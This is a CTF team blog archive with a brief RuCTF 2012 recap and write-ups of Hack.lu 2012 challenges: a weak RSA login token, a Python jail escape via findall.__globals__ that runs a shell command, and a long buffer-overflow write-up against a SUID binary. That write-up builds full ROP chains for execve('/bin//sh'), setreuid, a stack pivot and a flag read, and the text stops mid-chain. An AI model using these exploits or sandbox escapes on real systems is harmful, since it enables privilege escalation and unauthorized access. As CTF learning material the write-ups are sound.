Archive for the ‘Uncategorized’ Category
RuCTF 2012 – Very interesting
We participated in RuCTF 2012 with about 8 team members. It was our first Attack/Defense style CTF and we liked it….sort of. Let’s say we were learning every second and trying to keep up and get our network and tooling ready during the CTF instead of before the CTF. 🙂
What did we learn:
- Prepare, prepare and prepare;
- Make sure you have enough people: 1 teamlead, 2 defense, 1 system management, one for each challenge at least;
- Create an automated attack framework that works in advance to launch your attacks against 50-100 opponents 9 services every 5 minutes. You do not want to manually perform 450-900 attacks each minute excluding posting flags afterwards;
- The teamlead should allocate the appropriate tasks to each team member and stick to it.
We managed to get to 7th place in the Final2 group but were done at around 01:30. We pulled the plug on our network and called it a quits. We ended up 15th as a result, not bad for a first timer.
Thanks to the RuCTF team for setting this thing up, great work. Until next year!
RuCTFE 2012 – We’re on….or maybe not.
We will be participating in the RuCTFE 2012 online CTF. This time it is a Attack/Defense style CTF. A first for most of our team members and we are looking forward to it. On the other hand Attack/Defense style CTF’s are won through good preparation…..oooops…..maybe we need to start preparing then :).
To all teams, have a good one!
Hack.lu CTF 2012 – #4 Reduced Security Agency
Some of our guys broke into the Reduced Security Agency and stole the source of their highly secure login system. Unfortunately no one of them made it uninfected back and so we only have a part of the source. Now it's your turn to break their system and login to the agency.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ /** * Copyright: ErEsAh Securse-ID Token **/ #include <sys/types.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <gmp.h> unsigned int gen_auth(mpz_t key, mpz_t modulus, mpz_t nonce) { time_t now = time(NULL); unsigned int range = now / 3600; unsigned int token; mpz_t t; mpz_init(t); mpz_set_ui(t, range); mpz_t auth; mpz_init(auth); mpz_add(t, t, nonce); mpz_t newmod; mpz_init(newmod); mpz_set_ui(newmod, 13371337); mpz_powm(auth, t, key, newmod); token = mpz_get_ui(auth); return token; } void chartompz(mpz_t result, char *msgptr) { unsigned int size = strlen(msgptr); mpz_t msg; mpz_t tmp; mpz_init(tmp); mpz_init(msg); int i; printf("strlen = %d\n", size); for (i = 0; i < size; i++) { mpz_set_ui(tmp, (int)msgptr[i]); mpz_mul_2exp(tmp, tmp, 8*i); mpz_add(msg, msg, tmp); } mpz_set(result, msg); } char * mpztochar(mpz_t code) { int i, j; mpz_t tmp2; mpz_t and255; mpz_init(tmp2); mpz_init(and255); mpz_set_ui(and255, 255); int length = mpz_sizeinbase(code, 2); length = (length / 8) + 1; char *text; text = malloc((length)*sizeof(char)); if (!text) { return NULL; } unsigned int tmp3; for(i = 0; i < length; i++) { mpz_set(tmp2, code); mpz_cdiv_q_2exp(tmp2, tmp2, i*7); for (j = 0; j < i; j++) { mpz_div_ui(tmp2, tmp2, 2); } mpz_and(tmp2, tmp2, and255); tmp3 = mpz_get_ui(tmp2); text[i] = (char) tmp3; } text[length] = '\0'; return text; } void gen_pubkey(mpz_t result, mpz_t key, mpz_t modulus) { mpz_t pubkey; mpz_init(pubkey); mpz_invert(pubkey, key, modulus); mpz_set(result, pubkey); } int gen_seckey(mpz_t result) { mpz_t key; int i = 0, j; unsigned int seed, random; FILE *frand; mpz_init2(key, 2048); gmp_randstate_t state; gmp_randinit_default(state); frand = fopen("/dev/random", "r"); if (frand == NULL) { printf("fopen() failed\n"); return -1; } fread(&seed, sizeof(seed), 1, frand); fclose(frand); gmp_randseed_ui(state, seed); j = 2047; while(i != j) { random = gmp_urandomb_ui(state, 1); if(random) { mpz_setbit(key, i); i++; } else if(!random) { mpz_clrbit(key, j); j--; } } mpz_set(result, key); return 0; } void encrypt(mpz_t result, mpz_t base, mpz_t key, mpz_t modulus) { mpz_t msg; mpz_init(msg); mpz_t ciphertext; mpz_init(ciphertext); printf("encrypting...\n"); mpz_powm(ciphertext, base, key, modulus); mpz_set(result, ciphertext); } ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Studying this code we find a couple of for very strange facts:
– gen_seckey always produces keys with of the form 00…0011…11
– gen_auth uses 13371337 as modulus
In an RSA based system the only number which may be chosen completely random is the decryption exponent d. Thus it seems likely that gen_seckey is used to calculate d. We try all different variants of pow(2,x)-1 to find d=2^1024-1
The token needen for authentication is generated by pow(time()/3600+nonce , d) mod 13371337. Given that we have just found d, we can connect to the ssh server and calculate the token needed to log in.
Hack.lu CTF 2012 – #7 Python Jail
The challenge:
You are surrounded by zombies. You heard there's a safe house nearby, but climbing fences is hard with a beer belly. Thank god, there's another surviver over there. "Hey! Help me!", you shout. He just laughs and shakes you off the fence. Asshole. Later, you see his dead body lying in front of a high security door secured by automated weapons. Heh... karma is a bitch. But that means you'll have to find another way in. In this nerd area, all the doors are secured with stupid computer puzzles. So, what the heck. Better try this one: https://ctf.fluxfingers.net/challenges/python_jail/chal.py ctf.fluxfingers.net tcp/2045 Hint: You'll find the entrance in "./key" Notes: This challenge is a tribute to PHDays Finals 2012 challenge 'ndevice'. Thanks again, I had fun solving it. I'm fairly certain that this challenge avoids being exploitable by the tricks we could use in PHDays (the module "os" was imported...). So, no advantage for people who did not attend PHDays.
The sourcecode:
#!/usr/bin/env python ''' Running instructions. sockets are insecure. We do not implement any socket behaviour in this file. Please make this file +x and run with socat: socat TCP-LISTEN:45454,fork EXEC:./chal.py,pty,stderr Debugging: Just execute chal.py and play on terminal, no need to run socat Note: This challenge is a tribute to PHDays Finals 2012 challenge 'ndevice'. Thanks again, I had fun solving it. I'm fairly certain that this challenge avoids being exploitable by the tricks we could use in PHDays (the module "os" was imported...). So, no advantage for people who did not attend PHDays. ''' def make_secure(): UNSAFE_BUILTINS = ['open', 'file', 'execfile', 'compile', 'reload', '__import__', 'eval', 'input'] ## block objet? for func in UNSAFE_BUILTINS: del __builtins__.__dict__[func] from re import findall make_secure() print 'Go Ahead, Expoit me >;D' while True: try: inp = findall('\S+', raw_input())[0] a = None exec 'a=' + inp print 'Return Value:', a except Exception, e: print 'Exception:', e
The python jail removes almost all interesting functions from scope by removing them from the builtins dictionary. However we still have a reference to the findall function in the re module. Using this reference all variables available to the findall function can be reached. Via the sys module we reference the os module to execute system and get the contents of the key file:
findall.__globals__[‘sys’].modules[‘os’].system(“cat<key")
Hack.lu CTF 2012 – #9 Braincpy (300 points)
Challenge
Zombies do not only tend to eat brains, they also tend to write unsecure code! Looks like they don’t even know how to use stringcopy functions correctly, so there should be no problem for you to exploit this most simple of all bugs, right?
SSH: ctf.fluxfingers.net
PORT: 2091
USER: ctf
PASS: y7iisp7yspxqy892
Let’s login.
OMG HECKER BRAINZ \ ..... C C / /< / ___ __________/_#__=o /(- /(\_\________ \ \ ) \ )_ \o \ /|\ /|\ |' | | _| hack.lu /o __\ CTF'12 / ' | / / | /_/\______| ( _( < \ \ \ \ \ | \____\____\ ____\_\__\_\ /` /` o\ |___ |_______|.. Use /tmp/<YOUR UNGUESSABLE DIRNAME> for your work! ctf@braincpy:~$ ls -la total 716 drwxr-xr-x 2 ctf ctf 4096 Oct 19 19:58 . drwxr-xr-x 3 root root 4096 Oct 19 19:41 .. -rw-r--r-- 1 ctf ctf 3486 Oct 19 19:41 .bashrc -rw-r--r-- 1 ctf ctf 675 Oct 19 19:41 .profile -r-------- 1 braincpy braincpy 24 Oct 19 19:57 FLAG -rwsr-sr-x 1 braincpy braincpy 710026 Oct 19 19:57 braincpy
$ file braincpy braincpy: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.9, not stripped $ md5sum braincpy 902d8095b497efe669705d3492211d8c braincpy
The binary has a SUID bit and owner is braincpy. We have credentials for user ctf
In the same directory, there is file FLAG with only read permission for owner braincpy. We have to exploit the binary and retrieve the FLAG using SUID permission of braincpy.
Let’s try running it:
$ ./braincpy NO!
It appears the binary expects arguments. This can be confirmed by looking at the decompiled C in IDA/Hex-Rays
signed int __cdecl main(int argc, char **argv, char **envp) { int v3; // eax@2 int v4; // eax@4 int v5; // eax@4 signed int result; // eax@5 size_t v7; // [sp+8h] [bp-58h]@0 char v8[80]; // [sp+10h] [bp-50h]@8 for ( i = 0; envp[i]; ++i ) { v3 = strlen(envp[i]); memset(envp[i], 0, v3); **** Observation: environment is wiped. **** I renamed this unnamed function to memset. **** The implementation uses MMX instructions } v4 = getuid(); seteuid(v4); **** Observation: EUID and EGID are set to RUID and RGID v5 = getgid(); setegid(v5); if ( argc == 2 ) { if ( strlen(argv[1]) <= 96u ) **** Observation: argument may not be larger than 96 bytes { puts("NOMNOMNOM!"); strcpy(v8, argv[1], v7); **** Observation: I renamed this unnamed function to strcpy. **** The implementation uses MMX instructions result = 0; } else { puts("NO!"); result = -1; } } else { puts("NO!"); result = -1; } return result; }
What happens if we use an argument of exactly 96 bytes:
$ gdb ./braincpy (gdb) r `python -c "print 'A'*96"` Starting program: /mnt/hgfs/flux/9 - braincmp/braincpy `python -c "print 'A'*96"` NOMNOMNOM! Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb)
We have overwritten the EIP. Now let’s determine at which offset in our data we have to put the address we want to jump to. we’ll use Metasploit pattern_create for that.
$ ruby /opt/metasploit-4.4.0/msf3/tools/pattern_create.rb 96 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1
Let’s use this pattern with our binary.
$ gdb ./braincpy (gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1 Starting program: /mnt/hgfs/flux/9 - braincmp/braincpy Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1 NOMNOMNOM! Program received signal SIGSEGV, Segmentation fault. 0x31644130 in ?? () (gdb)
We’ve overwritten the EIP with 0x31644130, which is ‘0Ad1’. Let’s see where the offset in the pattern is with Metasploit pattern_offset.
$ ruby /opt/metasploit-4.4.0/msf3/tools/pattern_offset.rb 0Ad1 96 92
The exploit the program, we need to send something like:
’92 bytes op shellcode’ + ‘jmp address’.
First, let’s check whether the stack is executable:
$ readelf -l braincpy Elf file type is EXEC (Executable file) Entry point 0x80482f0 There are 7 program headers, starting at offset 52 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align LOAD 0x000000 0x08048000 0x08048000 0x9b6ef 0x9b6ef R E 0x1000 LOAD 0x09bf90 0x080e4f90 0x080e4f90 0x00cd0 0x023fc RW 0x1000 NOTE 0x000114 0x08048114 0x08048114 0x00020 0x00020 R 0x4 TLS 0x09bf90 0x080e4f90 0x080e4f90 0x00010 0x00028 R 0x4 GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 GNU_RELRO 0x09bf90 0x080e4f90 0x080e4f90 0x00070 0x00070 R 0x1 LOOS+5041580 0x000000 0x00000000 0x00000000 0x00000 0x00000 0x4 Section to Segment mapping: Segment Sections... 00 .note.ABI-tag .rel.plt .init .plt .text __libc_freeres_fn __libc_thread_freeres_fn .fini .rodata __libc_atexit __libc_subfreeres __libc_thread_subfreeres .eh_frame .gcc_except_table 01 .tdata .init_array .fini_array .ctors .dtors .jcr .data.rel.ro .got .got.plt .data .bss __libc_freeres_ptrs 02 .note.ABI-tag 03 .tdata .tbss 04 05 .tdata .init_array .fini_array .ctors .dtors .jcr .data.rel.ro .got 06
No, it isn’t. As it turns out, the stack is also randomized. So, let’s try ROP-ing! Never done that before. We have a staticly linked binary, so there should be several useful gadgets in the binary.
First, let’s have a look at the stack when the program crashes:
$ gdb ./braincpy (gdb) r `python -c "print 'A'*92 + 'B'*4"` Starting program: /mnt/hgfs/flux/9 - braincmp/braincpy `python -c "print 'A'*92 + 'B'*4"` NOMNOMNOM! Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) x/26x $esp -100 0xbffff60c: 0x00000000 0x41414141 0x41414141 0x41414141 0xbffff61c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff62c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff63c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff64c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff65c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff66c: 0x42424242 0x00000000 (gdb)
The first gadget we need is to change ESP to the start of our input: 0xbfffff10, which is at offset -96.
Gadgets can be found using several techniques. We used ROPGadet tool and Metasploit’s msfrop.
$ ROPgadget -v RopGadget - Release v3.4.1 Jonathan Salwan - twitter @JonathanSalwan http://www.shell-storm.org $ ROPgadget -g -file braincpy > gadgets.1 $ /opt/metasploit-4.4.0/msf3/msfrop -x gadgets.2 braincpy
Both gadget files can be grepped for ROP gadgets.
We came up with the following gadget to shift the ESP pointer to the begin of our input
0x080df815: add esp, [ebp+0ah] ; ret
We have to setup ebp in a way that ebp+0ah points to value -96 (= 0xFFFFFFA0)
We search for this value using IDA (search menu/sequence of bytes…): 0x08086C1C
So we have to put (0x08086C1C – 0ah) into EBP. EBP will be restored (as usual during function epilogue) just before returning and overwriting EIP. This results in the following template:
’88 bytes rop gagets’ + 0x08086C12 + 0x080df815
Let’s test that:
– Setup a breakpoint at the return from the main function
– Send the crafted input
– Step 3x
(gdb) b *0x080484E0 Breakpoint 1 at 0x80484e0 (gdb) set disassemble-next-line on (gdb) r `python -c "import struct; print 'A' * 4 + 'B'*84 + struct.pack('<I', 0x08086C12) + struct.pack('<I', 0x080df815)"` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /mnt/hgfs/flux/9 - braincmp/braincpy `python -c "import struct; print 'A' * 4 + 'B'*84 + struct.pack('<I', 0x08086C12) + struct.pack('<I', 0x080df815)"` NOMNOMNOM! Breakpoint 1, 0x080484e0 in main () => 0x080484e0 <main+240>: c3 ret (gdb) ni 0x080df815 in ?? () => 0x080df815: 03 65 0a add 0xa(%ebp),%esp (gdb) ni 0x080df818 in ?? () => 0x080df818: c3 ret (gdb) i r eax 0x0 0 ecx 0xbffff890 -1073743728 edx 0xbffff66b -1073744277 ebx 0x0 0 esp 0xbffff610 0xbffff610 ebp 0x8086c12 0x8086c12 esi 0x8048ba0 134515616 edi 0x8048b00 134515456 eip 0x80df818 0x80df818 eflags 0x200283 [ CF SF IF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/30x $esp 0xbffff610: 0x41414141 0x42424242 0x42424242 0x42424242 0xbffff620: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffff630: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffff640: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffff650: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffff660: 0x42424242 0x42424242 0x08086c12 0x080df815 0xbffff670: 0x00000000 0xbffff6f4 0xbffff700 0x00000000 0xbffff680: 0x00000000 0x08048ba0
– next instruction is: ret. Will pop value of ESP into EIP
– ESP points to begin of our buffer
(gdb) ni 0x41414141 in ?? () => 0x41414141: Cannot access memory at address 0x41414141
Next phase: putting some useful ROP gadgets on the stack.
One nice thing of ROPGadget is that it will output all necessary gadgets for execve(“/bin/sh”). I’ve added some comments to clarify what is done.
# execve /bin/sh generated by RopGadget v4.0
# These gadgets will put string “/bin” at address 0x080e5060
1 p += pack("<I", 0x0805adec) # pop %edx ; ret 2 p += pack("<I", 0x080e5060) # @ .data 3 p += pack("<I", 0x080beb89) # pop %eax ; ret 4 p += "/bin" 5 p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret
# These gadgets will put string “//sh” at address 0x080e5064
# effectively, 0x080e5060 now contains string “/bin//sh”
6 p += pack("<I", 0x0805adec) # pop %edx ; ret 7 p += pack("<I", 0x080e5064) # @ .data + 4 8 p += pack("<I", 0x080beb89) # pop %eax ; ret 9 p += "//sh" 10 p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret
# We need to NULL terminate the string. There might not be
# a null byte at address 0x080e5068
11 p += pack("<I", 0x0805adec) # pop %edx ; ret 12 p += pack("<I", 0x080e5068) # @ .data + 8 13 p += pack("<I", 0x08054e90) # xor eax, eax ; ret 14 p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret
# Prepare the arguments for the syscall
# execve(“/bin//sh”, 0, 0)
# for all system calls, the first, second and third argument
# are put in ebx, ecx and edx respectively.
# Note that the address 0x080e5060 points to “/bin//sh”
# and 0x080e5068 points to null
15 p += pack("<I", 0x080516cb) # pop %ebx ; ret 16 p += pack("<I", 0x080e5060) # @ .data 17 p += pack("<I", 0x080dbc2c) # pop %ecx ; ret 18 p += pack("<I", 0x080e5068) # @ .data + 8 19 p += pack("<I", 0x0805adec) # pop %edx ; ret 20 p += pack("<I", 0x080e5068) # @ .data + 8
# put the syscall number for execve into eax
# syscall number for execve is 11
21 p += pack("<I", 0x08054e90) # xor %eax,%eax ; ret 22 p += pack("<I", 0x080998d2) # inc %eax ; ret 23 p += pack("<I", 0x080998d2) # inc %eax ; ret 24 p += pack("<I", 0x080998d2) # inc %eax ; ret 25 p += pack("<I", 0x080998d2) # inc %eax ; ret 26 p += pack("<I", 0x080998d2) # inc %eax ; ret 27 p += pack("<I", 0x080998d2) # inc %eax ; ret 28 p += pack("<I", 0x080998d2) # inc %eax ; ret 29 p += pack("<I", 0x080998d2) # inc %eax ; ret 30 p += pack("<I", 0x080998d2) # inc %eax ; ret 31 p += pack("<I", 0x080998d2) # inc %eax ; ret 32 p += pack("<I", 0x080998d2) # inc %eax ; ret
# Execute systemcall
33 p += pack("<I", 0x0804891f) # int $0x80
One major problem with this gadget chain is that it is too large. It now consists of 33 dwords and I only have room for 22 dwords (88 bytes). Now starts the real puzzle: finding other gadgets that will do the same.
First thing I did was finding a memory address that contains some null bytes.
- I changed the address at linenumber 2, 7, 16, 18 and 20 to 0x080E50A0, 0x080E50A4 and 0x080E50A8
- As /bin and //sh are copied into a area with null bytes, there is no need to null terminate the string. So I removed 11-14
- Find a more efficient way of putting 11 into eax. I came up with:
p += pack("<I", 0x080beb89) # pop %eax ; ret p += pack("<I", 0x1111111C) # p += pack("<I", 0x080dbc2c) # pop %ecx ; ret p += pack("<I", 0x11111111) # p += pack("<I", 0x080746c8) # sub eax,ecx
Note: we can’t use null bytes (remember, strcpy). Otherwise the following gadgets would be smaller:
p += pack("<I", 0x080beb89) # pop %eax ; ret p += pack("<I", 11) #
Finally, this results in the following python script:
## attempt1.py ######################################################### import sys from struct import pack p='' # get /bin/ssh into memory p += pack("<I", 0x0805adec) # pop %edx ; ret p += pack("<I", 0x080E50A0) # @ .data + 20h p += pack("<I", 0x080beb89) # pop %eax ; ret p += "/bin" p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret p += pack("<I", 0x0805adec) # pop %edx ; ret p += pack("<I", 0x080E50A4) # @ .data + 24h p += pack("<I", 0x080beb89) # pop %eax ; ret p += "//sh" p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret # get 11 in eax p += pack("<I", 0x080beb89) # pop %eax ; ret p += pack("<I", 0x1111111C) # p += pack("<I", 0x080dbc2c) # pop %ecx ; ret p += pack("<I", 0x11111111) # p += pack("<I", 0x080746c8) # sub eax,ecx # prepare for syscall p += pack("<I", 0x080516cb) # pop %ebx ; ret p += pack("<I", 0x080e50A0) # @ .data + 20h p += pack("<I", 0x080dbc2c) # pop %ecx ; ret p += pack("<I", 0x080E50A8) # @ .data + 28h p += pack("<I", 0x0805adec) # pop %edx ; ret p += pack("<I", 0x080E50A8) # @ .data + 28h # syscall p += pack("<I", 0x0804891f) # int $0x80 gadgets = p + 'A' * (88-len(p)) # ebp-0ah must point to: FFFFFFA0, # this will pivot ESP to begin of our buffer ebp=0x08086C1C - 10 address = 0x080df815 # add esp, [ebp+0ah] ; ret buf = gadgets + pack('I', ebp) + pack('I', address) sys.stdout.write(buf) ########################################################################
Let’s try it.
ctf@braincpy:~$ ./braincpy "`python /tmp/my_secret_tmp_dir/attempt1.py`" NOMNOMNOM! $ cat FLAG cat: FLAG: Permission denied $ id uid=1000(ctf) gid=1000(ctf) groups=1000(ctf) $
Alright, I forgot the seteuid(‘ctf’) call from the program. I have to squeeze gadgets for a seteuid(1001) into the chain. The binary still has symbols. With ROPGadget, it is also possible to dump the symbol table:
$ ROPgadget -file braincpy -symtab > functions
Now, find the seteuid function:
$ grep uid functions 403 08085220 00000010 geteuid 4a7 08059770 00000010 getuid 6c1 08059ad0 00000082 seteuid 768 08059770 00000010 __getuid 843 08085220 00000010 __geteuid
The function call seteuid(1001) could be executed with the following gadgets:
p += pack("<I", seteuid) # seteuid p += pack("<I", 0x0805adec) # pop %edx ; ret => pop arguments for function call p += pack("<I", 1001) # arg for seteuid
But, our payload may not contain null bytes. We need something different. I looked at the linux syscall table and found syscall setreuid (70/46h). It expects ruid in ebx and euid in ecx:
mov ebx, -1 mov ecx, 1001 mov eax, 23 int 80h
In the end I found these gadgets:
# mov ebx, -1:
1 p += pack("<I", 0x080516cb) # pop ebx ; ret 2 p += pack("<I", 0xFFFFFFFF) # => ebx
# mov ecx, 3e9h:
3 p += pack("<I", 0x0805d403) # mov ecx, 890003c4h ; ecx = 890003c4h 4 p += pack("<I", 0x080483a8) # pop ebp ; ret 5 p += pack("<I", 0x01010101) # => ebp 6 p += pack("<I", 0x080a56a5) # add ecx, ebp ; ecx = 8A0104C5h 7 p += pack("<I", 0x080483a8) # pop ebp ; ret 8 p += pack("<I", 0x75feff24) # => ebp 9 p += pack("<I", 0x080a56a5) # add ecx, ebp ; ecx = 3e9h (=1001)
# mov eax, 23
10 p += pack("<I", 0x080beb89) # pop %eax ; ret 11 p += pack("<I", 0xFFFFFFBA) # => EAX 12 p += pack("<I", 0x08054e7f) # neg eax |†ret # syscall 13 p += pack("<I", 0x0805b5c0) # int $0x80
However, this will sum up to a number of gadgets that won’t fit in my payload. I only have room for 22 gadgets. So, time to change strategy. Maybe I can allocate some memory, mark it writable and exectuable, memcpy shellcode to it and execute from there? I should be able to read extra data from stdin. Or, I could read extra gadgets from stdin into a writable memory section and pivit the ESP to that location:
Reading from stdin, using syscall read(fd, buffer, size)
ebx = 0 # 0=stdin ecx = 0x080E5C60 # => points to writable memory (.bss section) edx = 0x01010101 # lenth of data to read eax = 3 # syscall for read
# Setup registers
1 p += pack("<I", 0x0805ae15) # pop edx ; pop ecx ; pop ebx ; ret 2 p += pack("<I", 0x01010101) # => edx 3 p += pack("<I", 0x080E5C60) # => ecx 4 p += pack("<I", 0xFFFFFFFF) # => ebx 5 p += pack("<I", 0x080ac880) # inc ebx ; ret # ebx = 0 6 p += pack("<I", 0x080aa810) # mov eax, 0x00000003 ; ret
# syscall
7 p += pack("<I", 0x0805b5c0) # int $0x80
# ESP Pivot
8 p += pack("<I", 0x080beb89) # pop %eax ; ret 9 p += pack("<I", 0x080E5C60) # => EAX 10 p += pack("<I", 0x080b3b1f) # xchg esp, eax
Wow! Only 10 gadgets.
The python code for the first stage of the payload:
## stage1.py ########################################################### import sys from struct import pack p='' # Setup registers p += pack("<I", 0x0805ae15) # pop edx ; pop ecx ; pop ebx ; ret p += pack("<I", 0x01010101) # => edx p += pack("<I", 0x080E5C60) # => ecx p += pack("<I", 0xFFFFFFFF) # => ebx p += pack("<I", 0x080ac880) # inc ebx ; ret # ebx = 0 p += pack("<I", 0x080aa810) # mov eax, 0x00000003 ; ret # syscall p += pack("<I", 0x0805b5c0) # int $0x80 # ESP Pivot p += pack("<I", 0x080beb89) # pop %eax ; ret p += pack("<I", 0x080E5C60) # => EAX p += pack("<I", 0x080b3b1f) # xchg esp, eax gadgets = p + 'A' * (88-len(p)) # ebp-0ah must point to: FFFFFFA0, # this will pivot ESP to begin of our buffer ebp=0x08086C1C - 10 address = 0x080df815 # add esp, [ebp+0ah] ; ret buf = gadgets + pack('I', ebp) + pack('I', address) sys.stdout.write(buf) ########################################################################
For the second stage, we need the setreuid gadget chain and the execve chain:
## stage2.py ########################################################### import sys from struct import pack p='' #### setreuid(-1, 1001) ######################### # mov ebx, -1: p += pack("<I", 0x080516cb) # pop ebx ; ret p += pack("<I", 0xFFFFFFFF) # => ebx # mov ecx, 3e9h: p += pack("<I", 0x0805d403) # mov ecx, 890003c4h ; ecx = 890003c4h p += pack("<I", 0x080483a8) # pop ebp ; ret p += pack("<I", 0x01010101) # => ebp p += pack("<I", 0x080a56a5) # add ecx, ebp ; ecx = 8A0104C5h p += pack("<I", 0x080483a8) # pop ebp ; ret p += pack("<I", 0x75feff24) # => ebp p += pack("<I", 0x080a56a5) # add ecx, ebp ; ecx = 3e9h (=1001) # mov eax, d0h p += pack("<I", 0x080beb89) # pop %eax ; ret p += pack("<I", 0xFFFFFFBA) # => EAX p += pack("<I", 0x08054e7f) # neg eax | ret # syscall p += pack("<I", 0x0805b5c0) # int $0x80 #### execve("/bin//sh, 0, 0) ######################### # get /bin/ssh into memory p += pack("<I", 0x0805adec) # pop %edx ; ret p += pack("<I", 0x080E50A0) # @ .data p += pack("<I", 0x080beb89) # pop %eax ; ret p += "/bin" p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret p += pack("<I", 0x0805adec) # pop %edx ; ret p += pack("<I", 0x080E50A4) # @ .data + 4 p += pack("<I", 0x080beb89) # pop %eax ; ret p += "//sh" p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret p += pack("<I", 0x0805adec) # pop %edx ; ret p += pack("<I", 0x080e5068) # @ .data + 8 p += pack("<I", 0x08054e90) # xor eax, eax ; ret p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret # get 11 in eax p += pack("<I", 0x080beb89) # pop %eax ; ret p += pack("<I", 0x1111111C) # p += pack("<I", 0x080dbc2c) # pop %ecx ; ret p += pack("<I", 0x11111111) # p += pack("<I", 0x080746c8) # sub eax,ecx # prepare for syscall p += pack("<I", 0x080516cb) # pop %ebx ; ret p += pack("<I", 0x080e50A0) # @ .data p += pack("<I", 0x080dbc2c) # pop %ecx ; ret p += pack("<I", 0x080E50A8) # @ .data + 8 p += pack("<I", 0x0805adec) # pop %edx ; ret p += pack("<I", 0x080E50A8) # @ .data + 8 # syscall p += pack("<I", 0x0805b5c0) # int $0x80 sys.stdout.write(p) ########################################################################
If we try it, we get:
ctf@braincpy:/tmp/my_secret_tmp_dir$ python stage2.py | ~/braincpy "`python stage1.py`" NOMNOMNOM! ctf@braincpy:/tmp/my_secret_tmp_dir$
Unfortunately, still not a shell. That’s frustrating. Let’s try reading the flag.
Strategy:
- open(“./FLAG”, 0, 0)
- read(3, buf, 24); 3 is the next free fd for the just opened file
- write(stdout, buf, 24)
- Note: we can use null bytes
## new_stage2.py ########################################################### from struct import pack import sys p='' # seteuid(1001) ##################################### p += pack("<I", 0x0805d403) # mov ecx, 890003c4h p += pack("<I", 0x080beb89) # pop %eax ; ret p += pack("<I", 0xFFFFFFBA) # => EAX p += pack("<I", 0x0808aaef) # neg eax | pop ebp ; ret p += pack("<I", 0x01010101) # => ebp p += pack("<I", 0x080a56a5) # add ecx, ebp p += pack("<I", 0x080483a7) # pop ebx ; pop ebp ; ret p += pack("<I", 0xFFFFFFFF) # => ebx p += pack("<I", 0x75feff24) # => ebp p += pack("<I", 0x080a56a5) # add ecx, ebp p += pack("<I", 0x0805b5c0) # int $0x80 ### read flag ##################################### # Store "./FLAG" to memory (at 0x080e5060) p += pack("<I", 0x0805adec) # pop %edx ; ret p += pack("<I", 0x080e5060) # @ .data p += pack("<I", 0x080beb89) # pop %eax ; ret p += ".///" p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret p += pack("<I", 0x0805adec) # pop %edx ; ret p += pack("<I", 0x080e5064) # @ .data + 4 p += pack("<I", 0x080beb89) # pop %eax ; ret p += "FLAG" p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret p += pack("<I", 0x0805adec) # pop %edx ; ret p += pack("<I", 0x080e5068) # @ .data + 8 p += pack("<I", 0x08054e90) # xor eax, eax ; ret p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret # open(".///FLAG", 0, 0) ##################################### # mov eax, 5 ; sys_open # mov ebx, 0x080e5060 ; filename # mov ecx, 0 ; o_RDONLY # mov edx, 0 ; mode # int 80h ; Call the kernel p += pack("<I", 0x080aa830) # mov eax, 0x00000005 ; ret p += pack("<I", 0x080516cb) # pop %ebx ; ret p += pack("<I", 0x080e5060) # @ .data p += pack("<I", 0x080dbc2c) # pop %ecx ; ret p += pack("<I", 0) p += pack("<I", 0x0805adec) # pop %edx ; ret p += pack("<I", 0) p += pack("<I", 0x0805b5c0) # int $0x80 # read(3, buf, len) ##################################### # mov ebx, 3 ; fd # mov ecx, 0x080e5080 ; buf # mov edx, 24 ; len # mov eax, 3 ; sys_read # int 80h p += pack("<I", 0x080aa810) #: mov eax, 0x00000003 ; ret p += pack("<I", 0x080516cb) # pop %ebx ; ret p += pack("<I", 3) # fd p += pack("<I", 0x080dbc2c) # pop %ecx ; ret p += pack("<I", 0x080e5080) # @ .data p += pack("<I", 0x0805adec) # pop %edx ; ret p += pack("<I", 24) # length p += pack("<I", 0x0805b5c0) # int $0x80 # write(1, buf, len) ##################################### # mov ebx, 1 ; fd # mov ecx, 0x080e5080 ; buf # mov edx, 24 ; len # mov eax, 5 ; sys_write # int 80h p += pack("<I", 0x080aa820) #: mov eax, 0x00000004 